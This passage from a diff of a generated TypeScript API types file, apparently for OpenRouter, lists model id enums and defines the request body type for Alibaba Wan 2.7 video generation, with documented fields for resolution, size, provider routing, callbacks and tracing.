'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaWan27RequestModelEnumKey = + (typeof openrouterPostVideosAlibabaWan27RequestModelEnum)[keyof typeof openrouterPostVideosAlibabaWan27RequestModelEnum] + +export const openrouterPostVideosAlibabaWan27RequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaWan27RequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaWan27RequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaWan27RequestResolutionEnum] + +export const openrouterPostVideosAlibabaWan27RequestSizeEnum = { + '1280x720': '1280x720', + '720x1280': '720x1280', + '1920x1080': '1920x1080', + '1080x1920': '1080x1920', + '720x720': '720x720', + '1080x1080': '1080x1080', + '960x720': '960x720', + '720x960': '720x960', + '1440x1080': '1440x1080', + '1080x1440': '1080x1440', +} as const + +export type OpenrouterPostVideosAlibabaWan27RequestSizeEnumKey = + (typeof openrouterPostVideosAlibabaWan27RequestSizeEnum)[keyof typeof openrouterPostVideosAlibabaWan27RequestSizeEnum] + +/** + * @description Alibaba: Wan 2.7 (alibaba/wan-2.7) — model-constrained video generation request. Wan 2.7 is a video generation model from Alibaba. It supports text-to-video, image-to-video with first and last frame control, and reference-to-video, where multiple reference images guide the style and content... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan27Body = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaWan27RequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaWan27RequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaWan27RequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: negative_prompt, prompt_extend, audio, ratio, last_image, video, videos, images. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaWan27RequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: OpenrouterPostVideosAlibabaWan27RequestSizeEnumKey + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaWan27Options = { + body: OpenrouterPostVideosAlibabaWan27Body + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaWan27Responses = { + '200': OpenrouterPostVideosAlibabaWan27Status200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaWan27Response = + 